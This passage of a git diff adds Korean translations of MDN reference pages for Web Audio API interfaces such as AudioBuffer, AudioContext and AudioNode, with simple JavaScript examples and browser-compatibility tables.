이 예제는 어떻게 AudioBuffer 를 생성하고 랜덤한 화이트 노이즈를 채우는 방법을 설명한다.  audio-buffer demo 에서 전체 소스를 확인 가능하고 running live 실시간 테스트고 가능하다.

+
// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  // just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+    // This gives us the actual array that contains the data
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i < frameCount; i++) {
+      // Math.random() is in [0; 1.0]
+      // audio needs to be in [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+
+  // start the source playing
+  source.start();
+
+}
+
+

Specification

+ + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}{{Spec2('Web Audio API')}}Initial definition.
+

Browser compatibility

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatGeckoDesktop(25)}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
copyFromChannel() and copyToChannel(){{CompatUnknown}}{{CompatGeckoDesktop(27)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatGeckoMobile(25)}}1.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
copyFromChannel() and copyToChannel(){{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile(27)}} {{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+

See also

+ diff --git a/files/ko/web/api/audiobuffersourcenode/index.html b/files/ko/web/api/audiobuffersourcenode/index.html new file mode 100644 index 0000000000..84d15b5d2d --- /dev/null +++ b/files/ko/web/api/audiobuffersourcenode/index.html @@ -0,0 +1,146 @@ +--- +title: AudioBufferSourceNode +slug: Web/API/AudioBufferSourceNode +translation_of: Web/API/AudioBufferSourceNode +--- +
{{APIRef("Web Audio API")}}
+ +

AudioBufferSourceNode 의 오디오 소스는 in-memory 의 {{domxref("AudioNode")}} 상에 저장된 데이터로 구성되어있다. 이는 오디오 소스 그 자체처럼 동작을 한다.

+ +

AudioBufferSourceNode 는 입력정보를 가지지 않고 정확히 하나의 출력정보를 가진다. 출력상의 여러 채널은 AudioBufferSourceNode.buffer 프로퍼티로로 동작할 {{domxref("AudioBuffer")}} 의 채널의 수와 일치한다. 만약에 AudioBufferSourceNode.buffernull이라면 출력은 오직 무음으로 출력이된다. {{domxref("AudioBufferSourceNode")}}는 오직 한번만 재생이 된다. 즉 AudioBufferSourceNode.start()가 한번만 호출될수 있다. 만약에 한번더 재생하기를 원한다면 또 다른 AudioBufferSourceNode를 생성해야 한다. 이 노드는 매우 간편히 생성가능하다.  AudioBuffer는 다른 곳에서 접근해 재생이 가능하다. AudioBufferSourceNodes는 "fire and forget(쓰고 잊자)" 처럼 한번 쓰고 나면 해당노드의 모든 참조들이 없어지고 자동적으로 가비지 콜렉터로 가게된다.

+ +

여러번 실행을 하면 AudioBufferSourceNode.stop()을 통해 정지가 가능하다. 가장 최근의 실행된것이 이전의 것으로 대체가 되어 AudioBufferSourceNode버퍼의 마지막에 도착하지 않은 상태가 된다.

+ +


+ The AudioBufferSourceNode takes the content of an AudioBuffer and m

+ + + + + + + + + + + + + + + + +
Number of inputs0
Number of outputs1
Channel countdefined by the associated {{domxref("AudioBuffer")}}
+ +

Properties

+ +

 {{domxref("AudioNode")}} 를 부모로 가지는 프로퍼티.

+ +
+
{{domxref("AudioBufferSourceNode.buffer")}}
+
{{domxref("AudioBuffer")}} 의 음원이 재생이 되거나 값이 NULL 이라면 채널하나을 무음으로 정의한다.
+
{{domxref("AudioBufferSourceNode.playbackRate")}} {{readOnlyinline}}
+
{{domxref("AudioParam")}}에는 두개의 파라메터가 있는 데 그중의 하나인 a-rate을 재생이될 정보의 속도요소로 정의 한다.  출력에 수정된 음의 보정이 있지않으므로 이 는 샘플의 음을 변경하는데 사용이 가능하다.
+
{{domxref("AudioBufferSourceNode.loop")}}
+
Boolean값으로 음원이 재생되어 {{domxref("AudioBuffer")}}의 끝에 다달했음을 알리는 값이다. false를 기본값으로 가진다.
+
{{domxref("AudioBufferSourceNode.loopStart")}}
+
double값으로 {{domxref("AudioBuffer")}}가 재시작이 되는 경우 반드시 발생한다. 기본값은 0이다.
+
{{domxref("AudioBufferSourceNode.loopEnd")}}
+
double값으로 {{domxref("AudioBuffer")}}가 다시 재생이 되는 경우 재생을 멈춰야 한다(그리고 결국에는 다시 시작한다). 기본값은 0이다.
+
+ +

Event handlers

+ +
+
{{domxref("AudioBufferSourceNode.onended")}}
+
{{domxref("EventHandler")}}로 {{event("ended_(Web_Audio)", "ended")}}이벤트와 연관된 콜백함수를 가진다.
+
+ +

Methods

+ +

{{domxref("AudioNode")}} 를 부모로 가지는 매서드.

+ +
+
{{domxref("AudioBufferSourceNode.start()")}}
+
음원이 재생되는 시작되는 시점.
+
{{domxref("AudioBufferSourceNode.stop()")}}
+
음원이 재생되는 끝나는 시점.
+
+ +

Examples

+ +

이 예제는 two-second buffer를 생성하여 화이트 노이즈로 채워 이를 AudioBufferSourceNode을 통해 재생한다.

+ +
+

Note: You can also run the code live, or view the source.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two-second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}
+ +
+

Note: For a decodeAudioData example, see the {{domxref("AudioContext.decodeAudioData")}} page.

+
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiobuffersourcenode-interface', 'AudioBufferSourceNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{Compat("api.AudioBufferSourceNode")}}
+ +

See also

+ + diff --git a/files/ko/web/api/audiochannelmanager/index.html b/files/ko/web/api/audiochannelmanager/index.html new file mode 100644 index 0000000000..6bee14adb8 --- /dev/null +++ b/files/ko/web/api/audiochannelmanager/index.html @@ -0,0 +1,74 @@ +--- +title: AudioChannelManager +slug: Web/API/AudioChannelManager +tags: + - API + - Audio + - Non-standard +translation_of: Archive/B2G_OS/API/AudioChannelManager +--- +

{{APIRef("Web Audio API")}} {{Non-standard_header}}

+ +

AudioChannelManager는 디바이스의 오디오 채널을 관리하는 기능을 포함하는 오디오 채널 API(AudioChannels API)의 인터페이스이다. 특정한 앱 내에서 볼륨 버튼이 눌렸을 때 어떤 채널의 볼륨이 적용될지를 설정하는 기능을 포함하고 있다.

+ +

메소드

+ +
+

Note: 부모클래스인 {{domxref("EventTarget")}}의 메소드를 상속받는다.

+
+ +

속성

+ +
+

Note: 부모클래스인 {{domxref("EventTarget")}}의 속성을 상속받는다.

+
+ +
+
{{domxref("AudioChannelManager.headphones")}} {{readonlyinline}}
+
헤드폰이 디바이스에 장착되었는지 여부를 나타내는 불리언 값.
+
{{domxref("AudioChannelManager.telephonySpeaker")}}
+
"telephony" 오디오 채널이 장치의 스피커 밖으로 재생할지 여부를 설정할 수 있도록하는 불리언 값.
+
{{domxref("AudioChannelManager.volumeControlChannel")}}
+
하드웨어 볼륨 버튼을 눌렀을 때 변경해야 할 오디오 채널에 대한 {{domxref("DOMString")}} 값.
+
+ +

이벤트 핸들러

+ +
+
{{domxref("AudioChannelManager.onheadphoneschange")}}
+
헤드폰이 장착되었는지 혹은 해제되었는지 알려주는 트리거.
+
+ +

예제

+ +

아래 간단한 예제를 보면, 앱의 AudioChannelManager 객체에 접근하기 위해 {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}} 속성을 사용한다.  먼저 첫번째로 수신된 변수에 따라 {{domxref("AudioChannelManager.volumeControlChannel")}} 속성을 설정한 후, 몇 가지 기본적인 특징을 검출한다.

+ +
var channelValue = 'content';
+
+if (navigator.mozAudioChannelManager) {
+  if(channelValue == 'normal') {
+    navigator.mozAudioChannelManager.volumeControlChannel = 'normal';
+  } else if(channelValue == 'content') {
+    navigator.mozAudioChannelManager.volumeControlChannel = 'content';
+  }
+  console.log(navigator.mozAudioChannelManager.volumeControlChannel);
+}
+ +
+

Note: 완전히 동작하는 예제를 보기 위해서는 audio-channels-demo를 확인하기 바란다. Firefox OS 디바이스에 앱을 설치하고 음악을 재생한 뒤, 채널을 normal 그리고 content로 지정하여 앱을 백그라운드로 전환 후 어떤 일이 발생하는지 확인하도록 한다.

+
+ +

명세

+ +

현재 오디오 채널 API는 공식적인 명세(스펙)가 정의되어있지 않다. https://wiki.mozilla.org/WebAPI/AudioChannels를 참고하면 WebIDL에 대한 자세한 구현사항에 대해 확인할 수 있다.

+ +

함께 보기

+ +
 
+ + diff --git a/files/ko/web/api/audiochannels_api/index.html b/files/ko/web/api/audiochannels_api/index.html new file mode 100644 index 0000000000..de4d98de42 --- /dev/null +++ b/files/ko/web/api/audiochannels_api/index.html @@ -0,0 +1,121 @@ +--- +title: Audio Channels API +slug: Web/API/AudioChannels_API +tags: + - API + - Audio + - AudioChannels + - Firefox OS + - Non-standard + - Obsolete + - Reference +translation_of: Archive/B2G_OS/API/Audio_Channels_API +--- +

{{DefaultAPISidebar("Audio Channels API")}}

+ +
+

Non-standard
+ This feature is not on a current W3C standards track, but it is supported on the Firefox OS platform. Although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to Firefox OS apps.

+
+ +

The Audio Channels API is a Firefox OS-only feature allowing you to place your app audio content into a hierarchy of importance, which dictates when the audio will be paused and resumed in response to other audio playing and actions occurring and allows you to control the volume of different types of audio independently from one another.

+ +

Use case examples:

+ + + +
+

Note: Since the AudioChannels API is non-standard and requires permissions, for many simple use cases such as pausing game music when the app/web page goes into the background you would be better off using the standard Page Visibility API, or perhaps window.onfocus/window.onblur. AudioChannels are mainly useful for more complex phone uses cases involving telephony, etc.

+
+ +

Concepts and usage

+ +

The AudioChannels API extends the HTMLMediaElement and AudioContext interfaces with (among other things) a mozAudioChannelType property that can be set to the channel you want your audio to be played in. The  <audio> and <video> elements can also be used to set this value via the mozaudiochannel attribute. When your audio is placed into a channel, it is generally paused (or interrupted) by audio in a higher priority channel being played. Audio in the least important channel — normal — is also paused by its app being put into the background (this is not the case with the other channels). The audio channels are as follows:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Channel nameimportanceUsed forApp permission level
normal1UI sounds, app and web contentNormal
content2Music, radio, videoNormal
notification3New email, incoming SMSPrivileged
alarm4Alarm clock, calendar alarmsPrivileged
ringer5Incoming phone callsCertified
telephony6Ongoing phone calls, VOIP callsCertified
publicnotification7Forced camera shutter soundsCertified
+ +

Each channel has a separate mute and volume setting, to provide more granular control over the different parts of audio on your device. These are accessed using the mozAudioChannelManager object via the navigator.mozAudioChannelManager property.

+ +
+

Note: If you have two apps playing audio in the content channel, only the one in the foreground can play audio, while the other is interrupted. When the foreground app is put into the background with audio playing, it will not be muted, as per normal "content" behaviour.

+
+ +
+

Note: Find more out about how to use the AudioChannels API in our Using the AudioChannels API guide.

+
+ +

AudioChannels interfaces

+ +
+
AudioChannelManager
+
Includes some features for managing your device's audio channels, including setting what channel's volume to affect when the volume buttons are pressed inside a particular app.
+
HTMLMediaElement and AudioContext extensions
+
HTMLMediaElement and AudioContext are extended with some proprietary features for controlling audio channels, including setting what audio channel the media is in, and events that fire when the audio is interrupted, and resumes playing.
+
Browser API extensions
+
The Browser API will also be including some audio channels features, for putting audio content inside a browser instance into audio channels, controlling its volume, etc., but it doesn't look like these have yet been implemented. This should occur soon.
+
+ +

See also

+ + diff --git a/files/ko/web/api/audiocontext/index.html b/files/ko/web/api/audiocontext/index.html new file mode 100644 index 0000000000..b42947de88 --- /dev/null +++ b/files/ko/web/api/audiocontext/index.html @@ -0,0 +1,179 @@ +--- +title: AudioContext +slug: Web/API/AudioContext +tags: + - 오디오 +translation_of: Web/API/AudioContext +--- +

{{APIRef()}}

+ +
+

AudioContext는 오디오 모듈과 연동시켜 {{domxref("AudioNode")}}를 통해 음원을 그래프화 시킨다. 오디오 컨택스트는 음원정보를 담은 노드를 생성하거나 음원을 실행또는 디코딩 시키는 일을 한다. 당신이 음원을 다룰일이 있다면 우선 AudioContext를 생성해야 관련된 모든 작업을 진행할 수 있다.

+ +

AudioContext 이벤트의 타겟이 되므로 {{domxref("EventTarget")}} 인터페이스를 통해 구현되어야 한다.

+
+ +

Properties

+ +
+
{{domxref("AudioContext.currentTime")}} {{readonlyInline}}
+
double형으로 리턴되는 음원을 스케쥴링하기 위한 초단위로 증가하는 시간을 나타낸다. 이는 0부터 시작해서 진행되며 멈추거나 일시정지, 리셋을 할수는 없다.
+
{{domxref("AudioContext.destination")}} {{readonlyInline}}
+
{{domxref("AudioDestinationNode")}} 은 컨텍스트 상의 모든 음원의 마지막 지점을 리턴한다. It can be thought of as the audio-rendering device.
+
{{domxref("AudioContext.listener")}} {{readonlyInline}}
+
{{domxref("AudioListener")}} 오브젝트를 리턴하여 3D 사운드를 다루기 위해 사용된다.
+
{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}
+
컨택스트 상의 모든 노드에서 사용될 샘플rate를 float형으로 매초 리턴한다.  {{domxref("AudioContext")}} 의 sample-rate는 변경되지 않는다.
+
{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}
+
Firefox OS의 디바이스에서 재생될 {{domxref("AudioContext")}}상의 음원의 채널을 리턴받는다.
+
+ +

Methods

+ +

{{domxref("EventTarget")}}을 부모로 가지는 메서드.

+ +
+
{{domxref("AudioContext.createBuffer()")}}
+
새롭게 빈 {{ domxref("AudioBuffer") }}를 생성해 음원데이터를 넣거나 {{domxref("AudioBufferSourceNode") }}를 통해 재생하는 역할을 한다.
+
{{domxref("AudioContext.createBufferSource()")}}
+
{{domxref("AudioBufferSourceNode")}}를 생성하여 {{ domxref("AudioBuffer")}} 객체상에 담긴 데이터를 재생하거나 수정할때 사용된다.  {{ domxref("AudioBuffer")}}들은 {{domxref("AudioContext.createBuffer")}}을 통해 생성이 되거나 {{domxref("AudioContext.decodeAudioData")}}에 의해 음원트랙이 성공적으로 디코드 되었을 경우에 리턴이 된다.
+
{{domxref("AudioContext.createMediaElementSource()")}}
+
{{domxref("HTMLMediaElement")}}와 연관된 {{domxref("MediaElementAudioSourceNode")}}을 생성한다.  이는 {{HTMLElement("video")}} 나 {{HTMLElement("audio")}} 를 재생하거나 음원을 조작할때 사용한다.
+
{{domxref("AudioContext.createMediaStreamSource()")}}
+
{{domxref("MediaStream")}} 과 연관된 {{domxref("MediaStreamAudioSourceNode")}}를 생성하여 내 컴퓨터의 마이크나 다른 소스를 통해 발생한 오디오 스트림의 정보를 보여준다.
+
{{domxref("AudioContext.createMediaStreamDestination()")}}
+
{{domxref("MediaStream")}} 과 연관된 {{domxref("MediaStreamAudioDestinationNode")}}를 생성하여 로컬파일로 저장된 혹은 다른 컴퓨터에 저장된 오디오 스트림정보를 보여준다.
+
{{domxref("AudioContext.createScriptProcessor()")}}
+
{{domxref("ScriptProcessorNode")}} 자바스크립트를 통해 음원의 진행상태에 직접접근에 사용된다.
+
{{domxref("AudioContext.createAnalyser()")}}
+
{{domxref("AnalyserNode")}}를 생성하여 오디오의 시간이나 주파수 정보를 알아내어 데이터를 시각화 하는 작업등에 사용을 할 수 있다.
+
{{domxref("AudioContext.createBiquadFilter()")}}
+
{{domxref("BiquadFilterNode")}} 를 생성하여 high-pass, low-pass, band-pass등  2차 필터의 정보를 설정 할 수 있다.
+
{{domxref("AudioContext.createChannelMerger()")}}
+
{{domxref("ChannelMergerNode")}} 두개의 오디오 스트림 정보를 하나의 오디오 스트림으로 합칠 수 있다.
+
{{domxref("AudioContext.createChannelSplitter()")}}
+
{{domxref("ChannelSplitterNode")}}를 통해 오디오 스트림의 각각의 채널정보에 접근 할 때와 스트림을 구분지어 처리할때 사용한다.
+
{{domxref("AudioContext.createConvolver()")}}
+
{{domxref("ConvolverNode")}}를 통해 convolution effects를 당신의 오디오 그래프에 적용할 때 사용한다. 예를 들면 reverberation effect 가 있다.
+
{{domxref("AudioContext.createDelay()")}}
+
{{domxref("DelayNode")}}를 통해 특정 시간동안 오디오의 입력신호를 딜레이 시킨다. 이 노드는 Web Audio API에서 피드백 루프를 생성할때 유용하다.
+
{{domxref("AudioContext.createDynamicsCompressor()")}}
+
{{domxref("DynamicsCompressorNode")}}는 음원의 신호를 암축할때 사용된다.
+
{{domxref("AudioContext.decodeAudioData()")}}
+
{{domxref("ArrayBuffer") }} 에 담긴 오디오 파일을 비동기적으로 디코딩 시킬때 사용한다. 이 경우에 일반적으로 ArrayBuffer는 arraybuffer의 responseType을 세팅한 후 {{domxref("XMLHttpRequest")}}의 response를 통해 데이터가 로드된다. 이 메서드는 오직 완벽한 파일에서만 동작을 한다. 파편화된 오디오 파일들에서는 동작하지 않는다.
+
{{domxref("AudioContext.createGain()")}}
+
{{domxref("GainNode")}}를 생성하여 오디오 그래프의 전반적인 볼륨을 조절할때 사용한다.
+
{{domxref("AudioContext.createOscillator()")}}
+
{{domxref("OscillatorNode")}}를 통해 시간별 음원의 파형을 볼수 있다. 이는 일반적으로 음색(a tone) 을 생성한다.
+
{{domxref("AudioContext.createPanner()")}}
+
{{domxref("PannerNode")}}를 통해 입력되는 음원을 3차원으로 공간화 시킬때 사용한다.
+
{{domxref("AudioContext.createPeriodicWave()")}}
+
{{domxref("PeriodicWave")}}를 생성하여 {{ domxref("OscillatorNode") }}를 통해 출력되는 파형을 확인할수 있다.
+
{{domxref("AudioContext.createWaveShaper()")}}
+
{{domxref("WaveShaperNode")}}는 non-linear distortion effects를 적용할 때 사용한다.
+
{{domxref("AudioContext.createAudioWorker()")}}
+
{{domxref("AudioWorkerNode")}}는 Web Worker의 스레드와 상호작용을 하며 오디오를 생성, 처리, 분석등의 작업을 직접한다. 이는 2014년 8월 29일에 스펙으로 추가되어 아직 다른 브라우저에는 적용되지 않은 상태이다.
+
+ +

Obsolete methods

+ +
+
{{domxref("AudioContext.createJavaScriptNode()")}}
+
Creates a {{domxref("JavaScriptNode")}}, used for direct audio processing via JavaScript. This method is obsolete, and has been replaced by {{domxref("AudioContext.createScriptProcessor()")}}.
+
{{domxref("AudioContext.createWaveTable()")}}
+
Creates a {{domxref("WaveTableNode")}}, used to define a periodic waveform. This method is obsolete, and has been replaced by {{domxref("AudioContext.createPeriodicWave()")}}.
+
+ +

Examples

+ +

Basic audio context declaration:

+ +
var audioCtx = new AudioContext;
+ +

Cross browser variant:

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/ko/web/api/audiodestinationnode/index.html b/files/ko/web/api/audiodestinationnode/index.html new file mode 100644 index 0000000000..f119f5ae5e --- /dev/null +++ b/files/ko/web/api/audiodestinationnode/index.html @@ -0,0 +1,142 @@ +--- +title: AudioDestinationNode +slug: Web/API/AudioDestinationNode +tags: + - 오디오 +translation_of: Web/API/AudioDestinationNode +--- +

{{APIRef()}}

+ +
+

AudioDestinationNode 은 주어진 컨택스트의 음원의 종착점을 나타냅니다. 보통 스피커를 가리킵니다. 이는 또한 OfflineAudioContext를 사용해 데이터가 녹음되는 노드가 되기도 합니다.

+AudioDestinationNode has no output (as it is the output, no more AudioNode can be linked after it in the audio graph) and one input.  입력받은 음원의 채널의 총 갯수는 반드시 0과 maxChannelCount값의 사이에 있거나 예외(an exception is raised)가 발생한다. + +

주어진 AudioContext의 AudioDestinationNode는 {{domxref("AudioContext.destination")}}프로퍼티를 통해 검색이 된다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs0
Channel count mode"explicit"
Channel count2
Channel interpretation"speakers"
+
+ +

Properties

+ +

Inherits properties from its parent, {{domxref("AudioNode")}}.

+ +
+
{{domxref("AudioDestinationNode.maxChannelCount")}}
+
unsigned long 형의 물리적인 디바이스로 다룰수 있는 최대 채널의 갯수.
+
+ +

Methods

+ +

No specific method; inherits methods from its parent, {{domxref("AudioNode")}}.

+ +

Example

+ +

AudioDestinationNode를 사용하면 복잡한 세팅없이 몇줄의 코드로 오디오 그래프를 확인할 수 있습니다.

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+ +

To see a more complete implementation, check out one of our MDN Web Audio examples, such as Voice-change-o-matic or Violent Theremin.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiodestinationnode-interface', 'AudioDestinationNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/audionode/index.html b/files/ko/web/api/audionode/index.html new file mode 100644 index 0000000000..7a30efdac2 --- /dev/null +++ b/files/ko/web/api/audionode/index.html @@ -0,0 +1,185 @@ +--- +title: AudioNode +slug: Web/API/AudioNode +translation_of: Web/API/AudioNode +--- +

{{APIRef()}}

+

AudioNode는 포괄적으로 오디오를 처리하는 데이터 소스인 {{HTMLElement("audio")}} 테그나 {{HTMLElement("video")}} 테그, {{domxref("OscillatorNode")}} 와 audio destinatio, intermediate 처리 모듈인 {{domxref("BiquadFilterNode")}} or {{domxref("ConvolverNode")}} 또는 볼륨을 조절하는 {{domxref("GainNode")}} 등을 나타냅니다.

+

AudioNodes participating in an AudioContext create a audio routing graph.

+

AudioNode는 입력과 출력을 가지고 각각의 주어진 채널을 가지고 있습니다. 입력이 0인 AudioNode와 하나 혹은 다수의 출력을 가지면 이를 소스노드라고 불린다. 하나의 AudioNode에서 다른 쪽으로 다양한 처리가 이뤄진다. 일반적으로는 노드는 입력을 읽어 음원관련 처리작업을 하고, 새로운 출력값을 만든다. 아니면 단순히 음원이 지나가는 노드역활만을 하기도 한다.

+

 (for example in the {{domxref("AnalyserNode")}}, where the result of the processing is accessed separatly).

+

다른 노드들은 processing graph 를 만들기 위해 서로를 연결한다. graph는  {{domxref("AudioContext")}}를 가지고 있다. 각각의 노드는 하나이 컨택스트에 관여를 한다. 일반적으로는 처리노드는 AudioNode의 메서드와 프로퍼티를 상속받아 처리하지만 사용자의 의도에 따라 기능을 추가 할수도 있다. 자세한 Web Audio API 페이지 이다.

+
+

Note: An AudioNode can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.

+
+

Properties

+
+
+ {{domxref("AudioNode.context")}} {{readonlyInline}}
+
+ {{domxref("AudioContext")}}와 연관된 정보를 리턴한다. 노드가 관여하고 있는 processing graph 객체를 나타낸다.
+
+
+
+ {{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}
+
+ 노드에 입력되는 인풋의 수를 리턴받는다. 소스노드는 numberOfInputs 프로퍼티를 가지는데 기본적으로 0 값을 가진다.
+
+
+
+ {{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}
+
+ 노드를 통해 나오는 출력의 갯수를 리턴한다. {{ domxref("AudioDestinationNode") }} 같은 노드의 경우에는 이 값은 0을 가지고 있다.
+
+
+
+ {{domxref("AudioNode.channelCount")}}
+
+ 인풋에 up-mixing and down-mixing을 하는 경우 몇개의 채널이 사용되는지 갯수를 정수값으로 리턴한다. {{domxref("AudioNode.channelCountMode")}}의 값에의해 정확한 갯수를 알수 있다.
+
+
+
+ {{domxref("AudioNode.channelCountMode")}}
+
+ 노드에 입력되는 입력값과 출력값의 연관 정보를 리턴받는다.
+
+ {{domxref("AudioNode.channelInterpretation")}}
+
+ 음원을 어떻게 up-mixing and down-mixing 하는지에 대한 정보를 리턴받는다. 이 값은 "speakers""discrete" 가 될 수 있다.
+
+

Methods

+

Also implements methods from the interface {{domxref("EventTarget")}}.

+
+
+ {{domxref("AudioNode.connect(AudioNode)")}}
+
+ 다른 노드에서의 입력과 현대 노드의 출력값을 서로 연결시킬수 있다.
+
+ {{domxref("AudioNode.connect(AudioParam)")}}
+
+ 현재 노드의 출력과 audio parameter의 출력 하나와 연결 시킬수 있다.
+
+ {{domxref("AudioNode.disconnect()")}}
+
+ 현재의 노드와 연결된 다른 노드와의 연결을 끊을수 있다.
+
+

Example

+

이예제는 간단하게 AudioNode의 프로퍼티와 메서드를 어떻게 사용하는지를 보여 준다. Web Audio API에 가면 더 많은 예제를 확인 할 수 있다.

+
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;
+

Specifications

+ + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}{{Spec2('Web Audio API')}} 
+

Browser compatibility

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}}{{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
{{CompatVersionUnknown}}
channelCount channelCountMode{{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
channelCount
+ channelCountMode
{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
